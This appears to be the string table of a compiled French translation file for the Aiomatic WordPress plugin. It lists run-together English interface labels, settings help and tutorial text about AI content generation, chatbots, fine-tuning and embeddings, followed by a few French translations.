This will set the SEO description for the following SEO plugins: Yoast SEO, All In One SEO, Rank Math.Set the prompt which will be sent to the AI content writer. You can use shortcodes to get the input values entered by users in the form. The shortcodes need to be in the following format: %%ID_of_the_input_field%%Set the prompt you will use when searching for related headings. You can use the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same model will be used, as the one selected for content creation. If you leave this field blank, the default prompt will be used: 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%'Set the prompt you will use when searching for related headings. You can use the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same model will be used, as the one selected for content creation. If you leave this field blank, the default prompt will be used: 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%' You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set the required words list that will apply to all plugin rules.Set the size of the generated featured image.Set the submit button text of this form.Set the text of the Q&A section header. Default is: Q&ASet the text of the Table of Contents section header. Default is: Table of ContentsSet the text of the outro section header. This is optional.Set the text of the submit button. The default is: SubmitSet the timeout (in milliseconds) between each subsequent API call. This will allow API call throttling, so the API call quota limit is not reached for your account.Set the timeout (in seconds) for every rule running and also for automatic post editing. I recommend that you leave this field at it's default value (3600).Set the title of this form.Set the type of the prompt you are creating.Set the type of this form.Set the width of the chatbot form embedded. Default is 460pxSet the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set this input field as required (form cannot be submitted unless this is filled up).Set what model to use when generating images. Default is stable-diffusion-512-v2-0.Set what preset to use when generating images. Default is NONE.Set where you would like to add the AI assistant result - above or below the selected text.SettingSetting Up Your API KeySettingsSettings saved.ShonaShona (Google Translate)Short Description PromptShortcodeShortcode alternative: Shortcode for this rule
                    (to cross-post from this plugin in other plugins):ShowShow Advanced Form Options For Users:Show Header On Front End*Show Tutorial VideoShow WP Rich Text Editor Input For AI Form Results:Show/Hide Advanced Model SettingsShow/Hide Categories ListShows advanced settings for this rule.SindhiSindhi (Google Translate)SingaporeSingle AI Post CreatorSinhalaSinhala (Google Translate)Site URLSite URL:SizeSkip Importing of Article If No Free Image Found: Skip Post Content Editing:Skip Post Excerpt Editing:Skip Post Title Editing:SlovakSlovak (Google Translate)SlovenianSlovenian (Google Translate)Small home speakerSmart home speakerSmart watch or wearableSmartphoneSomaliSomali (Google Translate)Some Important Notes:Some general system information.Sort Results BySort Results By:SourceSource: The source of the request.SpainSpanishSpanish (Google Translate)Specify default language for regional content.Speech to Text Using the Whisper APISpeech to text is a feature where the AI converts speech to text. You would typically record a piece of audio, and the AI would transcribe it into text. This could be useful for a variety of purposes, such as transcribing interviews, dictating notes, or making audio content more accessible.Spin & TranslateSpin & Translate:Spin Text Using Word Synonyms (for automatically generated posts only):SportsStability.AIStability.AI APIStability.AI API Settings:Stable Diffusion ImageStable Diffusion Image GeneratorStandardStartedStatisticsStatistics Settings:StatusStep 0: Read this tutorial carefully and watch the tutorial videoStep 0: TutorialStep 1: Create your data for embeddingsStep 1: Create your data for fine-tuningStep 1: Customize the Chatbot BehaviorStep 1a: Add A New EmbeddingStep 1a: Dataset UploaderStep 1a: Import the default AI FormsStep 1b: Create your own AI FormsStep 1b: Dataset Manual EntryStep 1b: Upload Embeddings from CSVStep 1c: Dataset ConverterStep 2: Add the Chatbot to Your WebsiteStep 2: Auto Index Existing PostsStep 2: DatasetsStep 2: Start training your modelStep 2: Use the AI FormsStep 3: Check progress of the fine tuneStep 3: List Added EmbeddingsStep 3: Model FinetunesStep 3: Test the ChatbotStickyStrip JavaScript From Chatbot HTML Responses:Strip Title From ContentStrip Title From Content:Submit Button Alignment:Submit Button Color:Submit Button Location:Submit Button Text Color:Submit Button Text*Subscription Plan:SuccessSuffix For Fine-Tuning Completions:Suffix For Fine-Tuning Prompts:Suggest a series of pertinent keywords in English for your WordPress %s: "%s". These keywords should be closely connected to the %s, optimizing its visibility. Please present the keywords in a comma-separated format without using symbols like -, #, etc.Suhosin Post Max Value LengthSuhosin Post Max Value Length:Suhosin Post Max VarsSuhosin Post Max Vars:Suhosin Request Max VarsSuhosin Request Max Vars:Suhosin is an advanced protection system for PHP installations. It was designed to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within these applications or the PHP core itself. If enabled on your server, Suhosin may need to be configured to increase its data submission limits.SundaneseSundanese (Google Translate)SupportSupported Until:SwahiliSwahili (Google Translate)SwedenSwedishSwedish (Google Translate)Sync ElevenLabs.io Voices:Sync EmbeddingsSync FilesSync Fine-tunesSync FormsSync Google Text-to-Speech Voices:System InfoSystem InformationTIP: You don't need to add prompt or completition suffixes in the data from above, as the plugin will handle this automatically, it will automatically add to your data the suffixes defined in the plugin's 'Main Settings' menu.TIP: You need to add prompt or completition suffixes in the data you upload, please check more details on training prompt design recommendations,Tag Names:Tags PromptTajikTajik (Google Translate)TamilTamil (Google Translate)Target ContentTatarTatar (Google Translate)Taxonomy Description WriterTeluguTelugu (Google Translate)TemperatureTemplate For the %%web_results%% Shortcode:TextText CompletionText Completion ShortcodesText EditingText Editing ShortcodeText ModerationText completion is a feature where the AI can continue a text entered by the user. To use this feature, you would typically enter a piece of text, and the AI would generate a continuation of that text. This could be used for a variety of purposes, such as generating ideas for a story or completing a sentence in a natural-sounding way.Text editing is a feature where the AI can be instructed to edit a text in multiple different ways. For example, you might input a piece of text and ask the AI to rewrite it in a more formal or informal tone, to simplify it, or to correct any grammatical errors. This could be useful for improving the quality of written content or adapting it for different audiences.Text moderation is a feature where the AI filters unwanted content from your site. You would typically set up rules or criteria for what constitutes unwanted content, and the AI would review incoming content and filter out anything that meets those criteria. This could be used for a variety of purposes, such as preventing spam, blocking offensive content, or maintaining a positive community environment.Text-to-Speech API Settings:Text-to-Speech Restrictions For Logged In Users:Text-to-Speech Restrictions For Not Logged In Users:Text-to-Speech Usage LimitsText-to-Speech is not supported if chatbot 'Instant Responses' are not enabled. Please go to the 'Chatbot Settings' tab and enable the 'Enable Chatbot Instant Responses' settings field.Text-to-Video API Settings:TextRazorTextRazor API Key List (Optional) (Used for Relevant Keyword Extraction From Text):TextareaThaiThai (Google Translate)Thank you for choosing Aiomatic, and I look forward to the plugin helping you create amazing content and features for your WordPress site!That's it! You've successfully set up an AI-powered chatbot on your WordPress website using the Aiomatic plugin. This chatbot can be a valuable tool for engaging with your website visitors, answering frequently asked questions, and providing personalized assistance.The %%ai_generated_title%% shortcode can be used in the 'Post Title List / TXT File URL / RSS Feed URL' settings field, to get partial or fully AI generated titles.The %s constant is set to true.The %s constant is set to true. WP-Cron spawning is disabled.The AI Assistant is a feature that allows you to add a button to the WordPress editor to assist in content creation. You can add your own menus with your own prompts. The AI Assistant is compatible with both Gutenberg and Classic Editor. Navigate to your Gutenberg or Classic Editor and look for the Aiomatic plugin's logo in the toolbar. Click on the logo and select the menu you want to use. Click the prompt you want to use. Please note that you need to use the "Convert to Block" feature in the Gutenberg Editor to use the AI Assistant.The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post contentThe AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.The Above Is A DeepL Free API Key:The Aiomatic plugin operates in conjunction with the OpenAI API or with AiomaticAPI (whichever you choose to use). To utilize it, you must first create an account on OpenAI and paste your API key in the plugin's settings ('API Keys' tab from the top). OpenAI offers a $5 credit for new users. If you see a message stating, "You exceeded your current quota, please check your plan and billing details" it means you've depleted your OpenAI quota and need to buy more credit from OpenAI.The Aiomatic plugin provides a robust set of features for managing and monitoring the usage of AI services. This tutorial will guide you through the 'Limits and Statistics' feature of the Aiomatic plugin.The URL of the source image to be animated by the driver video, or a selection from the list of provided studio actors.The URL of your site's homepage.The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)The chatbot feature allows you to chat with an AI bot, ask questions, and get replies. You would typically enter a question or statement, and the AI would generate a response. This could be used for a variety of purposes, such as answering frequently asked questions, providing customer support, or just having a conversation.The csv file should contain the embeddings data on the first column, each new data on a different rowThe current language used by WordPress. Default = EnglishThe forms feature will allow you to extend the functionality of your site, provide customized responses to user questions or even create AI membership websites. These forms will be able to be used next to the conventional 'built-in' shortcodes which are provided by the plugin. These 'built-in' shortcodes are listed in the 'Buil-in Shortcodes' tab from above.The largest file size that can be contained in one post.The largest file size that can be uploaded to your WordPress installation.The license id for photos to be searched.The main difference between the Topic Based and Title Based posting mode is that the Topic Based mode will make a separate API request for each chapter of the content (+intro, outro, q&a) and compose the article from the result of each of these separate API requests. While the Title Based posting will make a single API request for the entire post content. For longer articles, it is recommended you use the Topic Based Posting method.The main steps of creating embeddings areThe main steps of creating forms areThe main steps of fine-tuning areThe maximum amount of memory (RAM) that your site can use at one time.The maximum number of variables your server can use for a single function to avoid overloads.The maximum number of variables your server can use for a single function to avoid overloads. This is an optional settings, as the plugin can handle also cases when this is lower than the required value.The media attachment ID was not found in the database: The media attachment ID was not parsed correctly, please try again.The media attachment ID was not passed correctly, please try again.The number of items (posts, pages) this rule has generated so far.The number of results to return for each query.The order in which to sort returned photos. Deafults to date-posted-desc (unless you are doing a radial geo query, in which case the default sorting is by ascending distance from the point specified).The plugin is not registered. Automatic updating is disabled. Please purchase a license for it from here and register the plugin from the 'Main Settings' menu using your purchase code. How I find my purchase code?The plugin will automatically add AI generated SEO meta descriptions to posts from your site.The plugin will automatically add automatic links to other posts from your site, to keywords from each post.The plugin will automatically add categories to posts from your site.The plugin will automatically add comments to posts from your site.The plugin will automatically add tags to posts from your site.The plugin will generate AI content, that will be preppended or appended to each post's content.The plugin will generate AI generated or royalty free images, that will be assigned as featured images for posts.The plugin will rewrite the textual content of the post, using AI.The root URL of your site.The version of MySQL installed on your hosting server.The version of PHP installed on your hosting server.The version of WordPress installed on your site.There is no changelog available.These rules are currently running on your server.This feature is currently supported only for OpenAI API keys.This feature is currently supported only if you enter a single OpenAI API key in the plugin's 'Main Settings' menu.This feature is not currently supported when using Azure API!This feature of the plugin is disabled! Please enable it from the above switch.This feature will try to remove the WordPress's default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.This feature will try to remove the WordPress\'s default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.This is a trial version of the plugin. Automatic updates for this plugin are disabled. Please activate the plugin from below, so you can benefit of automatic updates for it!This is maybe the biggest 'hidden gem' of Aiomatic. It is able to combine its power with any other plugin I created, allowing AI generated content to be produced in posts created by any other of my plugins. Imagine having AI-generated content in all your plugins, from social media to scraper plugins or news posts. Well, with Aiomatic, that dream is now a reality.This is the ID of the rule.This is the ID of the rule. This is the main log of your plugin. Here will be listed every single instance of the rules you run or are automatically run by schedule jobs (if you enable logging, in the plugin configuration).This keyword will be replaced with a link you define.This keyword will replace the search keyword you define. Leave this field blank if you only want to add an URL to the specified keyword.This option will allow you to select if you want to run posting in async mode. This means that each time you publish a post, the plugin will try to execute it's task in the background - it will no longer block new post posting, while it finishes it's job.This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.This option will make the plugin not create tags which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of tags from where the AI should select.This plugin can not be activated because it requires a PHP version greater than %1$s. Please update your PHP version before you activate it.This plugin can not be activated because it requires a WordPress version greater than %1$s. Please go to Dashboard -> Updates to get the latest version of WordPress.This plugin is up to date.This plugin will generate content for you, even in your sleep using AIThis process was already started!This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.TigrinyaTigrinya (Google Translate)TimeTime FrameTime Frame:Time: The time when the request was made.Timeout for Processing (seconds):Tips and tricks:TitleTitle Based Posting OptionsTitle Based/Single API CallTitle Idea / KeywordsTitle PromptTitle Prompt:Title TextTitle and ContentTitle*To access more details about each feature, simply navigate to the respective tabs at the top of this menu page. Within each tab, you'll find tutorial videos that walk you through the setup, configuration, and utilization of each feature. These videos provide step-by-step guidance, ensuring you make the most out of Aiomatic's hidden features.To add the chat bot to your website, please include the shortcode [aiomatic-chat-form] in the desired location on your site.To begin using the plugin, click on the 'Plugin Activation' tab from above and register your Envato purchase code. This will allow you to benefit of the full feature set of this plugin. To learn how to find your purchase code for the plugin, checkTo better understand how this might be happening, it is helpful to first understand how the content generation part of the plugin functions. In most cases, when you request the plugin to create a post with a AI generated title, 5 headings, intro + outro and a Q&A section, the plugin sends 1 API request to generate the title, 5 different API requests for the headings, 3 API requests for the intro, outro and Q&A sections. So, for a single post, there might be 9 or more API calls to OpenAI/AiomaticAPI. If each request takes 20 seconds to receive a response, this means that generating this post could take up to 180 seconds in total.To convert files to JSONL format, you can use theTo get started, you can enter a topic here and start generating the title & content!Toggle Advanced OptionsTokensTop of the heading contentTop_pTopicTopic Based Posting OptionsTopic Based/Multiple API CallsTrainingTraining-filesTranslation Source Language:TransportationTrashTravelTry To Translate Search Query Keywords To English: TsongaTsonga (Google Translate)TurkeyTurkishTurkish (Google Translate)TurkmenTurkmen (Google Translate)TutorialTutorial VideoTutorial Video:TwiTwi (Google Translate)Twice a dayTypeType*Type: The type of units listed.URLURLs Where To Not Show The Chatbot:USDUkrainianUkrainian (Google Translate)Ultimate Membership ProUnder Advanced SettingsUnder Input FieldsUnder Result FieldUnderstanding How It FunctionsUnexpected HTTP response code: %sUnfortunately, the default connection timeout for Cloudflare is set at 100 seconds. This implies that if you're utilizing Cloudflare's default plan and fail to receive all responses from OpenAI within the 100-second window, Cloudflare will reach its timeout limit, resulting in it fully stopping content creation. However, CloudFlare Enterprise users have the option to extend this timeout limit to 6000 seconds either through the Cloudflare API or by reaching out to customer service. Note that only CloudFlare's Enterprise plan will allow this settings change.United Arab EmiratesUnited KingdomUnited StatesUnited States Government WorkUnitsUnits: The number of units used for the request.Unknown update checker status "%s"Unlock the true potential of Aiomatic's hidden features, harnessing the power of AI to streamline your content management, optimize your media library, engage with your audience, and enhance the visual impact of your website. It's time to take your WordPress experience to new heights with Aiomatic!Unsplah API Options:Update Post SourceUpdatedUploadUpload New FileUpload to OpenAIUploadingUrduUrdu (Google Translate)Usage GraphsUsage LimitsUsage LogsUsage limit messageUse AI Generated Post TitlesUse AI Generated Post Titles:Use Alternate Continue Tokens (Experimental):Use Async Posting Method:Use Different Search Queries For ImagesUse The Same Search Query For ImagesUse The Titles From The 'Post Title List' Settings FieldUse the Above Content Prompt To Create The Entire Article (Not Each Section)Use the Above Content Prompt To Create The Entire Article (Not Each Section):Use the following shortcode to add the customized chatbot to your site:UserUser Baloon Background Color:User Conversation ManagerUser Font Color:User Name:User Restricted Message:User Role:User Token Cap Per Day:User conversation data has been deleted.User: The user who made the request.Using CloudFlare for this website?Using a LiteSpeed Web Server for this website?Using the AI AssistantUsing this feature you will be able to automatically create embeddings data from the posts you already have published on your site. You can set the plugin up to automatically index posts, pages, products or any custom post type. Embeddings will be automatically created using their data. You can change the template which is used for automatic embeddings creation, from the plugin's 'Main Settings' menu -> 'Embeddings' tab -> 'Auto Created Embeddings Template' settings field.Using which keyword or phrase should I search the internet, so I get results related to this text: "%%original_prompt%%"?UyghurUyghur (Google Translate)UzbekUzbek (Google Translate)VERY IMPORTANTValueValueSERP API Key (Optional) (Used for Related Headings & AI Internet Access)ValueSERP Key (optional)VectorVerticalVideoVideo Caption Maximum Character Length In PromptsVideo Caption Maximum Character Length In Prompts:Video Caption Preferred LanguagesVideo Caption Preferred Languages:VietnameseVietnamese (Google Translate)View Generated PostsView MoreView User ConversationView detailsVisitVisit plugin homepageVisit your website and look for the chatbot. Interact with the chatbot by typing questions or phrases into the chat window. Verify that the chatbot responds appropriately based on the rules you defined.Voice Language:Voice Name:Voice Pitch:Voice Speed:WP Debug ModeWP Debug Mode:WP Max Upload SizeWP Max Upload Size:WP Memory LimitWP Memory Limit:WP MultisiteWP Multisite:WP VersionWP Version:WP-Cron urlWarning! This feature is not supported for AiomaticAPI!Warning! This feature is not supported for Azure OpenAI API!Web Proxy Address List:Web Proxy Authentication:WeekWelcomeWelcome to Automatic AI Content EditingWelcome to the Aiomatic plugin!Welcome to this comprehensive guide on how to use the automatic post editing feature of the Aiomatic plugin. This powerful tool leverages artificial intelligence to automatically edit and enhance your WordPress posts, saving you time and effort while ensuring your content is optimized and engaging. Whether you're publishing new posts, drafting content, or revising existing posts, the Aiomatic plugin can be configured to automatically apply a range of edits. These include rewriting content, assigning featured images, appending or prepending AI-generated content, adding internal links, inserting related comments, and generating SEO meta descriptions.Welcome to this comprehensive tutorial on the 'AI Playground' functionality of the Aiomatic plugin. This powerful tool harnesses the capabilities of artificial intelligence to provide a wide range of features that can enhance your digital experience. In this tutorial, we'll cover several key functionalities of the AI Playground, including text completion, text editing, image generation using AI technologies like DALL-E 2 and Stable Diffusion, a chatbot feature, speech-to-text conversion using the Whisper API, and text moderation. Each of these features can be used in various ways to generate and manage content, interact with users, and more.WelshWelsh (Google Translate)What To Generate?What are AI Forms?What are embeddings in GPT-3?What categories or tags not to edit: If there are certain categories or tags you don't want to be edited, you can specify them here.What is Aiomatic?What is fine-tuning in GPT-3?What post types to edit: Select the types of posts you want to be edited. This could be blog posts, pages, or any custom post types you have on your site.What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.What to RestrictWhat to Restrict:When creating embeds, it's important to keep in mind to always create a high quality data set, as this will help the AI writer to get a more correct context.When fine-tuning a model, it's important to keep a few things in mind, such as the quality of the data set and the parameters of the model that will be adjusted. Additionally, it's important to monitor the performance of the model during and after fine-tuning.When to edit posts: Choose whether you want posts to be edited when they are published, drafted, or set as pending.When using the 'Dataset Uploader' tool, each prompt and each completion from the file you are uploading must both end with their own special endings. By default, it is " ->" for the prompts, and " ###" for the completions (be sure to not add also double quotes and to respect also ending spaces). Also, be sure that each completion starts with a space! Check more requirements on traning data design,Whether or not you have WordPress Multisite enabled.Which Posts Should Bulk AI Editing Affect:Which sampler to use for the diffusion process. If this value is omitted we'll automatically select an appropriate sampler for you.Whisper Speech To TextWith AI Forms you can create fully customizable forms which will be able to be used using the [aiomatic-form id="FORM_ID"] shortcode. You can create textual forms, Dalle-2 image forms or Stable Diffusion image forms. You can create custom input fields of multiple types for the created forms, where users will be able to define their desired input values. These input fields will be able to be replaced in the prompts you define for each form, using shortcodes in this format: %%input_field_ID%%.With Featured ImagesWith absolute, a day represents today. Otherwise, it represent the past 24 hours from now. The same logic applies to the other time frames.Without Featured ImagesWordPress Cron JobWordPress EnvironmentWorking...Write Description Using AIWrite Separate SEO DescriptionWrite a captivating and succinct English summary for the WordPress %s: "%s", accentuating its pivotal features, advantages, and distinctive qualities.Writing StyleWriting Style:Writing ToneWriting Tone:XhosaXhosa (Google Translate)YearYear Query:YesYiddishYiddish (Google Translate)YorubaYoruba (Google Translate)You are not allowed to access this form if you are not logged in. Please log in to continue.You are not allowed to activate plugins!You can add the chatbot globally to your site or locally to posts or pages. To add the chatbot locally, you can use the [aiomatic-chat-form] shortcode. If you want to add it globally, you need to go to the settings page of the plugin, go to the "AI Chatbot" menu of the plugin and navigate to the 'Chatbot Website Injection' tab. Choose where you want the chatbot to appear on your website (e.g., on all front end, back end, except pages where you don't want the chatbot to appear).You can add the value of this field to the form prompt from below, using this shortcodeYou can also add a fully customizable chatbot to your site to engage with visitors and provide them with the information they need in real-time.You can also change the status of the posts after they were edited, using the 'Change Post Status After Editing' settings field.You can also get started creating your own AI Forms. To do this, go to the 'Add A New AI Form' tab and start setting up your own forms. You can select between multiple form types (text, Dall-E 2 image or Stable Diffusion image), set a form name and description (which can be displayed on the top of the form, as a form headers). You can create also multiple input fields (of multiple types), using the 'Add A New Form Input Field' button, which will be used by users to enter their data. For each input field, you can set an 'ID', which will be used as a shortcode (and replaced with the value entered by the user) in the AI prompt you define in the form you build, using this format: %%input_ID%%. You will be also able to set some AI model advanced settings and configure the form's submit button text. For more detailed AI Forms customization, you can check the plugin's 'Main Settings' menu -> 'AI Forms' tab.You can load .csv or .jsonl files.You can set up the AI Forms in the front end of your site, by using the [aiomatic-form id="FORM_ID"] shortcode. You can get the shortcode for each form, from the 'List AI Forms' tab from above. Here you will be able to manage (edit, delete, preview) created AI Forms.You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%%You can use this table to monitor the usage of the plugin and track any unusual activity.You have reached the usage limit.You must add a Pinecone API key in the plugin's 'Main Settings' menu (API Keys tab), before you can use this feature!You must add a Pinecone index in the plugin's 'Main Settings' menu (Embeddings tab), before you can use this feature!You must add an OpenAI API Key into the plugin's 'Main Settings' menu before you can use this feature!You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Main Settings' menu before you can use this feature!You must enter a secret word above, to use this feature.You need to enable the 'Enable Usage Tracking For Statistics And Usage Limits' checkbox from the plugin's 'Main Settings' menu to enable this feature.You need to enter a ElevenLabs.io API key, D-ID API key or a Google Text-to-Speech API key in the 'API Keys' tab and save settings, to use this feature.You need to enter a Pinecone.io API key in the 'API Keys' tab and save settings, to use this feature.You need to specify the id parameter for this shortcode to work!You're all set!YouTube API Key List (Optional) (Used for Related Videos):YouTube To Blog PostsYouTube Video OptionsYouTube Video ThumbnailYouTube Video URLsYouTube Videos To Posts TutorialYour Own HTML:Your User Agent:ZuluZulu (Google Translate)[aicontent] Nested Shortcode Support (Advanced Feature):[aicontent] Shortcode[aicontent] Shortcode Default Model:[aicontent] Shortcode Frequency Penalty:[aicontent] Shortcode Presence Penalty:[aicontent] Shortcode Temperature:[aicontent] Shortcode Top_p:[aicontent] Shortcode Tutorial Video:[aicontent] Shortcode:after data upload is complete, go to the 'Datasets' tab of this plugin, search for the file you uploaded (be sure to sync files) and click 'Create Fine-Tune' for it. In the popup which appears, select 'New Model' if you want to create a new fine tune, or select any existing finetuned models, to create a new finetune based on that existing finetuned model. This process will take some time, for a dataset of 500 rows, it typically takes around 20 minutes.after finetune creation is complete, go to the 'Model Finetunes' tab and check the finetune you created. Be sure to sync finetunes. Wait until the finetune is listed with status 'succeeded', after which, it will appear also in the plugin and can be directly selected, when selecting the models which you want to use for data creation in the plugin! If you don't see your fine-tuned model in the dropdown list, please make sure that the fine-tune request is complete. You can also click on "Sync Models" link to get latest models.and create your API key.be sure to not skip this step!be sure to not skip this step! Also, be sure to be clear withbefore you continue. You can filter which posts you need edited. Doing a general site backup is also recommended before doing bulk content editing.before you continue. You can filter which posts you need to be indexed.by %scURL SSL versioncURL versioncase studies from OpenAIcheck this feature's tutorialcreate as many high quality questions and answers as possible, add them on a single line, give detailed context. In this case (contrary to AI model training) you don't need to create very large amounts of data, it is enough to enter just the information which you would like the AI model to learn about.create as many high quality questions and answers as possible, containing as much useful information you can think of, which can teach the AI about the purpose of your finetune. Keep in mind that you might need to create very large amounts of data (tens of tousands of questions and answers) for this to work as expected.esrgan-v1-x2plusfeature of the pluginfeature of the plugin.for translation, the plugin also supports WPML.for tutorial videos and other helpful resources. Here you can always find what was the newest update for it and how it got improved. I am constantly adding new updates to the plugin to help you get the most out of it, so be sure to subscribe and stay up to date with the latest version of the plugin.for usage of embeddings.for usage of fine tuned modelsfrom OpenAI.get a new account now!globalh2h3hereif not, you can start entering your data into the plugin. To avoid losing your work, this data is kept in your browser's local storage. This is actually complex, so learn how to write datasets by studyingif you alread have your data ready in the required format (JSONL file), you will be able to directly upload it to OpenAI. Be sure to select the base model for which you want to create a fine tune, from the 'Model Base' dropdown list, because you decide at this step for which model you want to create a fine tune with the uploaded data. To upload larger datasets, your WordPress maximum file upload size setting should be set to at least the file size you want to upload. You can followoforplaylists on YouTube.pluginqueriesresultsstable-diffusion-512-v2-0stable-diffusion-512-v2-1stable-diffusion-768-v2-0stable-diffusion-768-v2-1stable-diffusion-v1stable-diffusion-v1-5stable-diffusion-x4-latent-upscalerstable-diffusion-xl-beta-v2-2-2stable-inpainting-512-v2-0stable-inpainting-v1-0taxonomy general namePost Sourcetaxonomy singular namePost Sourcethe 'AI Embeddings' settings pagethe 'AI Model Training' settings pagethe plugin titleA new version of the %s plugin is available.the plugin titleCould not determine if updates are available for %s.the plugin titleThe %s plugin is up to date.this guidethis is a tool which is designed to colect information from your pages, posts or products and to create datasets from them. This can be useful if you want to train a new model to be more knowledgeable of your website's content. The tool will set the post/page/product title as the "question" and the content as the "answer". You can download the resulting files and upload them using the 'Dataset Uploader' tab. In this case, the plugin will automatically add the defined prompt and completion suffixes, defined in the plugin's 'Main Settings' menu. The defaults are ' ->' (without the quotes) as the prompt suffix, ' ###' (without the quotes) as completion suffix and start completitions with a space (this is required by OpenAI).this videoto achieve this. The uploaded file must contain prompt and completion pairs. The "prompt" part is the question and the "completion" part is the answer. You can find an example fileto add a form similar to OpenAI's Playground, to generate AI written text based on prompts.to add a form similar to OpenAI's Text Completion Playground, to generate AI written text based on prompts.to add a form to generate AI images (GPT-3) based on prompts.to add a form to generate AI images (Stable Diffusion) based on prompts.to add a form to generate a chat similar to ChatGPT. However, please note that this is not ChatGPT, but instead it is a custom chatbot built on top of OpenAI API.to automatically create an AI generated image (GPT-3) based on the 'seed_expre' argument of the post content/excerpt/title where the shortcode is placed,to automatically create an AI generated image (Stable Diffusion) based on the 'seed_expre' argument of the post content/excerpt/title where the shortcode is placed,to automatically write an article based on the 'seed_expre' argument of the post content/excerpt/title where the shortcode is placed,to convert an audio file to textto create images using Stable Difussionto include a WordPress like post listing. Usage:to include a list that contains only posts imported by this plugin, andto include a textual representation of the remaining credits for the current account (in case AI usage is limited from plugin settings)to include a visual representation of the remaining credits for the current account (in case AI usage is limited from plugin settings)token pricingtokensusedused for the plugin's Embeddings functionalityword1, word2, word3Project-Id-Version: Aiomatic - Automatic AI Content Writer PO-Revision-Date: 2023-07-26 12:08+0200 Last-Translator: Language-Team: Language: fr_FR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n > 1); X-Generator: Poedit 3.3.2 X-Poedit-Basepath: .. X-Poedit-Flags-xgettext: --add-comments=translators: X-Poedit-WPHeader: aiomatic-automatic-ai-content-writer.php X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;_nx_noop:3c,1,2;__ngettext_noop:1,2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.min.js utilisé à partir d'un maximum de Onglet "Paramètres avancés de l'API AI"Onglet "Paramètres d'édition automatique du contenu"Onglet "Modification des modèles et des options"Onglet "Paramètres d'édition manuelle du contenu"# Nb de d'Articles%%previous_comments%% Shortcode Nombre de commentaires :%1$s - Valeur recommandée: %2$s.
                    La limite de nombre de variables tronquera les données POST, par exemple les menus. Voir: Augmenter la limite du nombre de variables.%s - Valeur recommandée:%s.
                    "Post Valeur Longueur Max limitation" peut interdire l'enregistrement des données Optionnelles du Thème dans votre base de données. Voir: Informations de configuration de Suhosin .%1$s - Nous recommandons de fixer le temps d'exécution maximal à au moins 600.
                    Pour générer des articles longs, il est recommandé de fixer le temps d'exécution maximal à 1000 secondes.
